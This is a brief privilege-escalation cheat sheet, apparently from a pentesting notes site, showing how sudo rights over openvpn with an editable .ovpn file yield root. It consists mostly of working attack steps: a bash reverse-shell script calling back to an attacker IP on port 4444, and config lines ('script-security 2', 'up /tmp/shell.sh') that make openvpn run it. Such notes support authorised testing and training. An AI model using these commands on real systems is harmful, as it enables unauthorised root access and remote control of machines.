Sudo OpenVPN Privilege Escalation
Investigation
(root) /usr/sbin/openvpn /opt/example.ovpnExploitation
1. Create a Payload
#!/bin/bash
bash -i >& /dev/tcp/<local-ip>/4444 0>&1chmod +x /tmp/shell.sh2. Edit .ovpn File
# /opt/example.ovpn
...
script-security 2
up /tmp/shell.sh
<ca>
-----BEGIN CERTIFICATE-----
...3. Reverse Shell
Last updated